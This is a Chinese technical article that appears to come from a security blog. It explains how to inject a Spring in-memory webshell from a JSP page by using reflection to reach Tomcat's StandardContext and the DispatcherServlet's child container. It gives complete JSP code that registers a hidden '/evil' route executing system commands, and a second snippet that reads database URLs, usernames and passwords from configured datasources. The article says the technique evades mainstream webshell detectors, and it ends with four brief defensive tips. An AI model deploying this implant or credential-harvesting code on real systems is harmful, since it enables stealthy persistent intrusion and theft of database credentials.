在 JSP 中优雅的注入 Spring 内存马
字数 1236 2025-08-22 12:23:42

在 JSP 中优雅注入 Spring 内存马技术详解

前言

随着内存马检测工具的不断完善,传统的内存马检测手段已经能够有效识别Servlet、Filter、Listener类型的内存马。本文介绍一种在JSP中注入Spring内存马的技术,该方法能够绕过当前主流的内存马检测工具。

基础环境搭建

依赖配置(pom.xml)

<properties>
    <spring.version>5.3.39</spring.version>
    <tomcat.version>8.5.0</tomcat.version>
</properties>

<dependencies>
    <!-- 核心依赖包括: -->
    <!-- Tomcat相关库 -->
    <dependency>
        <groupId>org.apache.tomcat</groupId>
        <artifactId>tomcat-catalina</artifactId>
        <version>${tomcat.version}</version>
    </dependency>
    
    <!-- Spring核心库 -->
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-webmvc</artifactId>
        <version>${spring.version}</version>
    </dependency>
    
    <!-- 其他必要依赖... -->
</dependencies>

Web组件配置(web.xml)

<!-- 父容器配置 -->
<context-param>
    <param-name>contextConfigLocation</param-name>
    <param-value>classpath:spring-parent.xml</param-value>
</context-param>
<listener>
    <listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>

<!-- 子容器配置 -->
<servlet>
    <servlet-name>dispatcherServlet</servlet-name>
    <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
    <init-param>
        <param-name>contextConfigLocation</param-name>
        <param-value>classpath:spring-child.xml</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

SpringMVC父子容器架构

核心概念

  1. 父容器(Root WebApplicationContext):

    • 管理通用Bean(数据源、事务等)
    • 通过ContextLoaderListener初始化
    • 生命周期与Web应用一致
  2. 子容器(Child WebApplicationContext):

    • 管理Servlet相关Bean(Controller、视图解析器等)
    • 通过DispatcherServlet初始化
    • 生命周期与对应Servlet一致

关键特性

  • 子容器可以访问父容器的Bean,反之则不行
  • 父子关系通过setParent()方法建立
  • 父容器存储在ServletContext中(key为WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE)
  • 子容器存储在Request域中(key为DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE)

传统IOC容器获取方式

获取父容器

// 方式1
WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();

// 方式2
WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(
        servletContext);

获取子容器

// 方式3
WebApplicationContext context3 = RequestContextUtils.findWebApplicationContext(request);

// 方式4
WebApplicationContext context4 = (WebApplicationContext) request.getAttribute(
        DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE);

JSP中获取子容器的挑战与解决方案

问题分析

在JSP中无法直接获取子容器,因为:

  1. 子容器存储在Request域中
  2. JSP执行时Request尚未经过DispatcherServlet处理

解决方案:反射获取DispatcherServlet

  1. 获取ServletContext:

    <%
    ServletContext servletContext = request.getServletContext();
    %>
    
  2. 反射获取StandardContext:

    <%
    Field context1 = servletContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) context1.get(servletContext);
    
    Field context2 = applicationContext.getClass().getDeclaredField("context");
    context2.setAccessible(true);
    StandardContext standardContext = (StandardContext) context2.get(applicationContext);
    %>
    
  3. 获取所有Servlet:

    <%
    Field childrenField = Class.forName("org.apache.catalina.core.ContainerBase")
            .getDeclaredField("children");
    childrenField.setAccessible(true);
    HashMap<String, Container> children = (HashMap) childrenField.get(standardContext);
    %>
    
  4. 定位DispatcherServlet并获取子容器:

    <%
    for (Map.Entry<String, Container> child : children.entrySet()) {
        Container standardWrapper = child.getValue();
        Field instance = standardWrapper.getClass().getDeclaredField("instance");
        instance.setAccessible(true);
        Object o = instance.get(standardWrapper);
        if (o instanceof DispatcherServlet) {
            ioc = (XmlWebApplicationContext) ((DispatcherServlet) o).getWebApplicationContext();
        }
    }
    %>
    

Spring内存马注入实现

完整JSP内存马代码

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.springframework.web.servlet.DispatcherServlet" %>
<%@ page import="org.springframework.web.context.support.XmlWebApplicationContext" %>
<%@ page import="org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping" %>
<%@ page import="org.springframework.web.servlet.mvc.method.RequestMappingInfo" %>
<%@ page import="org.springframework.web.servlet.mvc.condition.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%!
public static class EvilController {
    public void evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}
%>
<%
// 获取IOC容器代码(如上所述)...

// 注入内存马
RequestMappingHandlerMapping mapping = ioc.getBean(RequestMappingHandlerMapping.class);
RequestMappingInfo info = new RequestMappingInfo(
        new PatternsRequestCondition("/evil"),
        new RequestMethodsRequestCondition(),
        new ParamsRequestCondition(),
        new HeadersRequestCondition(),
        new ConsumesRequestCondition(),
        new ProducesRequestCondition(),
        new RequestConditionHolder(null));

Class<?> abstractMapping = Class.forName(
        "org.springframework.web.servlet.handler.AbstractHandlerMethodMapping");
Method registerMethod = abstractMapping.getDeclaredMethod(
        "registerHandlerMethod", Object.class, Method.class, Object.class);
registerMethod.setAccessible(true);

Method evilMethod = EvilController.class.getDeclaredMethod("evil");
registerMethod.invoke(mapping, new EvilController(), evilMethod, info);

out.println("内存马注入成功!访问/evil执行命令");
%>

扩展应用:无条件获取数据源配置

传统方法的局限性

传统方法依赖WebApplicationContextUtils.getWebApplicationContext(),需要父容器支持。

改进后的无条件获取方案

<%
// 先尝试从父容器获取
ApplicationContext ioc = WebApplicationContextUtils.getWebApplicationContext(
        pageContext.getServletContext());
List<DataSource> dataSources = getDataSources(ioc);

// 父容器获取失败则从子容器获取
if(ioc == null || dataSources == null || dataSources.isEmpty()) {
    // 使用反射获取子容器(如上所述)
    // ...
    dataSources = getDataSources(ioc);
}

// 读取数据源配置
for(DataSource ds : dataSources) {
    String className = ds.getClass().getName();
    if(className.equals("com.mchange.v2.c3p0.ComboPooledDataSource")) {
        Class clazz = Class.forName(className);
        String url = (String) clazz.getMethod("getJdbcUrl").invoke(ds);
        String user = (String) clazz.getMethod("getUser").invoke(ds);
        String pass = (String) clazz.getMethod("getPassword").invoke(ds);
        out.println("URL: " + url + "<br>User: " + user + "<br>Pass: " + pass);
    }
    // 其他数据源类型处理...
}
%>

防御建议

  1. 禁用JSP执行权限
  2. 监控不正常的RequestMapping注册
  3. 检查DispatcherServlet等核心组件的反射调用
  4. 实施严格的访问控制策略

总结

本文详细介绍了在JSP中注入Spring内存马的技术,关键点包括:

  1. SpringMVC父子容器架构的理解
  2. 通过反射获取DispatcherServlet的技术
  3. 在JSP环境中获取子容器的方法
  4. 内存马注入的具体实现
  5. 无条件获取数据源配置的扩展应用

这种技术能够绕过当前主流的内存马检测工具,具有较高的隐蔽性,同时也提醒我们需要加强对此类攻击的防护。

在 JSP 中优雅注入 Spring 内存马技术详解 前言 随着内存马检测工具的不断完善,传统的内存马检测手段已经能够有效识别Servlet、Filter、Listener类型的内存马。本文介绍一种在JSP中注入Spring内存马的技术,该方法能够绕过当前主流的内存马检测工具。 基础环境搭建 依赖配置(pom.xml) Web组件配置(web.xml) SpringMVC父子容器架构 核心概念 父容器(Root WebApplicationContext) : 管理通用Bean(数据源、事务等) 通过ContextLoaderListener初始化 生命周期与Web应用一致 子容器(Child WebApplicationContext) : 管理Servlet相关Bean(Controller、视图解析器等) 通过DispatcherServlet初始化 生命周期与对应Servlet一致 关键特性 子容器可以访问父容器的Bean,反之则不行 父子关系通过 setParent() 方法建立 父容器存储在ServletContext中(key为 WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE ) 子容器存储在Request域中(key为 DispatcherServlet.WEB_APPLICATION_CONTEXT_ATTRIBUTE ) 传统IOC容器获取方式 获取父容器 获取子容器 JSP中获取子容器的挑战与解决方案 问题分析 在JSP中无法直接获取子容器,因为: 子容器存储在Request域中 JSP执行时Request尚未经过DispatcherServlet处理 解决方案:反射获取DispatcherServlet 获取ServletContext : 反射获取StandardContext : 获取所有Servlet : 定位DispatcherServlet并获取子容器 : Spring内存马注入实现 完整JSP内存马代码 扩展应用:无条件获取数据源配置 传统方法的局限性 传统方法依赖 WebApplicationContextUtils.getWebApplicationContext() ,需要父容器支持。 改进后的无条件获取方案 防御建议 禁用JSP执行权限 监控不正常的RequestMapping注册 检查DispatcherServlet等核心组件的反射调用 实施严格的访问控制策略 总结 本文详细介绍了在JSP中注入Spring内存马的技术,关键点包括: SpringMVC父子容器架构的理解 通过反射获取DispatcherServlet的技术 在JSP环境中获取子容器的方法 内存马注入的具体实现 无条件获取数据源配置的扩展应用 这种技术能够绕过当前主流的内存马检测工具,具有较高的隐蔽性,同时也提醒我们需要加强对此类攻击的防护。